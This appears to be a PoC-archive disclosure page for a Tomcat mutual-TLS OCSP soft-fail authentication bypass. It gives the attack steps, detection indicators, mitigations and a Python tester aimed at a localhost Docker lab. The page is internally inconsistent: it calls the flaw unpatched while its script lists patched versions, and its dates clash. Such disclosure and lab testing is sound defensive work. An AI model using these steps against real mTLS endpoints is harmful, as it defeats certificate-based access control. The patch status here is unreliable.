PoC Archive PoC Archive
Critical CVE-2026-29145 unpatched

Apache Tomcat Mutual TLS OCSP Soft-Fail Authentication Bypass — CVE-2026-29145

by sancliffe · 2026-07-05

CVSS 9.1/10
Severity
Critical
CVE
CVE-2026-29145
Category
web
Affected product
Apache Tomcat (CLIENT_CERT / Mutual TLS authentication)
Affected versions
Tomcat 10.1.x configurations using OCSP revocation checking with hard-fail intended (tested against Tomcat 10.1.52)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / Researchersancliffe
CVE / AdvisoryCVE-2026-29145
Categoryweb
SeverityCritical
CVSS Score9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
StatusPoC
Tagstomcat, mtls, client-cert, ocsp, auth-bypass, revocation-check, docker-lab, java
RelatedN/A

Affected Target

FieldValue
Software / SystemApache Tomcat (CLIENT_CERT / Mutual TLS authentication)
Versions AffectedTomcat 10.1.x configurations using OCSP revocation checking with hard-fail intended (tested against Tomcat 10.1.52)
Language / PlatformJava (Tomcat), Python 3 (test harness), Docker
Authentication RequiredNo (bypasses the certificate-based authentication itself)
Network Access RequiredYes

Summary

When Tomcat is configured to use Mutual TLS (CLIENT_CERT) authentication together with OCSP revocation checking in hard-fail mode, it is expected to reject any client certificate whose revocation status cannot be confirmed. This PoC demonstrates that when the configured OCSP responder is unreachable or returns an error, Tomcat’s soft-fail handling incorrectly allows the TLS handshake/authentication to proceed as if the certificate were valid, rather than treating the OCSP failure as a hard denial. An attacker presenting a revoked, expired, or otherwise unverifiable client certificate can therefore authenticate simply by ensuring the OCSP responder is unavailable at connection time.


Vulnerability Details

Root Cause

Tomcat’s OCSP revocation-checking logic does not correctly enforce hard-fail semantics when the OCSP responder returns an error or is unreachable, allowing certificate validation to effectively soft-fail into an “authenticated” state.

Attack Vector

  1. Target Tomcat instance is configured with CLIENT_CERT authentication and OCSP revocation checking enabled with hard-fail intended.
  2. Attacker presents a client certificate that includes an OCSP responder URL under their control (or one that can be made unreachable).
  3. Attacker causes the OCSP responder to be unreachable or to return an HTTP error (e.g. mock responder returning 500).
  4. Tomcat fails to hard-deny the connection and instead accepts the client certificate, granting the attacker authenticated access without a valid/unrevoked certificate.

Impact

Complete bypass of Mutual TLS client-certificate authentication, allowing unauthorized clients to reach protected resources behind a CLIENT_CERT-gated Tomcat endpoint.


Environment / Lab Setup

Target:   Tomcat 10.1.52 in Docker, CLIENT_CERT auth + OCSP hard-fail configuration
Attacker: Python 3.7+, OpenSSL, Docker & docker-compose, mock OCSP responder (simple_proxy_fail.py)

Proof of Concept

PoC Script

See poc_exploit.py, simple_proxy_fail.py, run_test.sh, setup_certs.sh, docker-compose.yml, and tomcat/server.xml in this folder.

1
2
3
chmod +x cleanup.sh setup_certs.sh run_test.sh
pip install -r requirements.txt
./run_test.sh

run_test.sh automates the full cycle: it generates a PKI (root CA, server cert, client cert with an OCSP extension), starts an OCSP mock responder that simulates failure (HTTP 500) alongside the vulnerable Tomcat container, and runs poc_exploit.py to demonstrate that the connection is accepted despite the OCSP failure.


Detection & Indicators of Compromise

Signs of compromise:

  • Successful mTLS authentications correlated with OCSP responder timeouts/errors in logs
  • Client certificates authenticating despite known revocation or an unreachable OCSP endpoint
  • Unusual OCSP responder unavailability coinciding with sensitive access

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for advisory
Interim mitigationEnsure OCSP responders are highly available and monitored; consider disabling soft-fail behavior at the JSSE/OpenSSL layer or supplementing with CRL-based hard-fail revocation checks

References


Notes

Mirrored from https://github.com/sancliffe/CVE-2026-29145-Tester on 2026-07-05.

poc_exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
"""
CVE-2026-29145 Vulnerability Testing Script

This module tests for authentication bypass vulnerability in Apache Tomcat's
Mutual TLS (CLIENT_CERT) implementation when OCSP revocation checking is 
configured with hard-fail mode.

The vulnerability occurs when:
  1. CLIENT_CERT authentication is enabled
  2. OCSP revocation checking is enabled
  3. Soft-fail option is disabled (hard-fail mode)
  4. The OCSP responder is unreachable or returns an error

Expected behavior (patched systems):
  - OCSP check failure → HTTP 403 Forbidden (hard denial)
  - Access is denied if OCSP responder fails

Vulnerable behavior (CVE-2026-29145):
  - OCSP check failure → HTTP 200 OK (authentication bypass)
  - Access is granted despite OCSP responder failure

Author: Security Testing Team
CVE: CVE-2026-29145
CVSS Score: 9.1 (Critical)
"""

import requests
import sys
import logging
from pathlib import Path

# Configure logging with timestamp and level information
logging.basicConfig(
    level=logging.INFO,
    format='[%(levelname)s] %(message)s'
)
logger = logging.getLogger(__name__)

# --- Exit Codes ---
# Define distinct exit codes for test outcomes
EXIT_CODE_NOT_VULNERABLE = 0
EXIT_CODE_ERROR = 1
EXIT_CODE_VULNERABLE = 10

# --- Configuration ---
# Configuration constants
# Use paths relative to the script's location to allow running from any directory
SCRIPT_DIR = Path(__file__).resolve().parent
TARGET_URL = "https://localhost:8443/protected-resource"
CLIENT_CERT = SCRIPT_DIR / "certs/client-cert.pem"
CLIENT_KEY = SCRIPT_DIR / "certs/client-key.pem"
CA_BUNDLE = SCRIPT_DIR / "certs/ca-chain.pem"
TIMEOUT = 15  # Seconds to wait for response
MAX_RETRIES = 3  # Number of retry attempts on connection failure


def verify_certificates_exist():
    """
    Verify that all required certificate files exist before attempting connection.
    
    Returns:
        bool: True if all certificates exist, False otherwise.
    """
    certs = [CLIENT_CERT, CLIENT_KEY, CA_BUNDLE]
    missing = [str(cert) for cert in certs if not cert.exists()]
    
    if missing:
        logger.error(f"Missing certificate files: {', '.join(missing)}")
        logger.error("Run './setup_certs.sh' to generate certificates")
        return False
    return True


def check_tomcat_version(headers):
    """
    Checks the Tomcat version from server headers and warns if it appears patched.
    Note: Default Tomcat configurations may not expose the version number.
    """
    server_header = headers.get("Server")
    if not server_header:
        logger.debug("Server header not found, cannot check Tomcat version.")
        return

    # This is a best-effort check, as the version is not always present.
    # Example patched versions from README: 10.1.53+, 9.0.116+, 11.0.20+
    import re
    match = re.search(r'(\d+\.\d+\.\d+)', server_header)
    if not match:
        logger.debug(f"Tomcat version not found in Server header ('{server_header}').")
        return

    version_str = match.group(1)
    version_parts = [int(p) for p in version_str.split('.')]
    major, minor, micro = version_parts[0], version_parts[1], version_parts[2]

    is_patched = (
        (major == 10 and minor == 1 and micro >= 53) or
        (major == 9 and minor == 0 and micro >= 116) or
        (major == 11 and minor == 0 and micro >= 20)
    )
    
    if is_patched:
        logger.warning(f"Detected Tomcat version {version_str} appears to be patched against CVE-2026-29145.")


def test_vulnerability():
    """
    Test if the target Tomcat server is vulnerable to CVE-2026-29145.
    
    Returns:
        int: An exit code representing the outcome of the test.
            - 10 (EXIT_CODE_VULNERABLE): Access was granted.
            - 0 (EXIT_CODE_NOT_VULNERABLE): Access was denied.
            - 1 (EXIT_CODE_ERROR): The test could not be completed.
    """
    logger.info(f"Attempting connection to {TARGET_URL}...")
    
    # Pre-flight check: verify all certificate files exist
    if not verify_certificates_exist():
        return EXIT_CODE_ERROR
    
    # Attempt connection with retry logic for transient failures
    for attempt in range(1, MAX_RETRIES + 1):
        try:
            logger.debug(f"Connection attempt {attempt}/{MAX_RETRIES}")
            
            # Send HTTPS request with mutual TLS authentication
            response = requests.get(
                TARGET_URL,
                cert=(CLIENT_CERT, CLIENT_KEY),
                verify=CA_BUNDLE,
                timeout=TIMEOUT
            )
            
            # Check server version for known patched versions
            check_tomcat_version(response.headers)

            # Analyze response to determine vulnerability status
            if response.status_code == 200:
                # VULNERABLE: Access granted despite OCSP failure
                logger.warning("VULNERABLE: Access granted despite OCSP check failure.")
                logger.warning(f"Response preview: {response.text[:100]}")
                return EXIT_CODE_VULNERABLE
                
            elif response.status_code in [401, 403]:
                # NOT VULNERABLE: Authentication/authorization correctly denied
                logger.info("NOT VULNERABLE: Access denied (Authentication working).")
                return EXIT_CODE_NOT_VULNERABLE
                
            else:
                # Unexpected status code - log for investigation
                logger.error(f"Unexpected status code: {response.status_code}")
                return EXIT_CODE_ERROR
                
        except requests.exceptions.SSLError as e:
            logger.info("SSL Handshake failed (likely hard-fail working correctly).")
            logger.debug(f"SSL Error details: {e}")
            return EXIT_CODE_NOT_VULNERABLE
            
        except requests.exceptions.ConnectionError as e:
            if attempt < MAX_RETRIES:
                logger.warning(f"Connection failed (attempt {attempt}/{MAX_RETRIES}): {e}")
                continue
            else:
                logger.error(f"Failed to connect to {TARGET_URL} after {MAX_RETRIES} attempts.")
                logger.error("Ensure Tomcat container is running: docker-compose up -d")
                return EXIT_CODE_ERROR
                
        except requests.exceptions.Timeout:
            if attempt < MAX_RETRIES:
                logger.warning(f"Connection timeout (attempt {attempt}/{MAX_RETRIES}), retrying...")
                continue
            else:
                logger.error(f"Connection to {TARGET_URL} timed out after {MAX_RETRIES} attempts.")
                return EXIT_CODE_ERROR
                
        except Exception as e:
            logger.error(f"Unexpected error: {e}")
            return EXIT_CODE_ERROR


if __name__ == "__main__":
    result = test_vulnerability()
    sys.exit(result)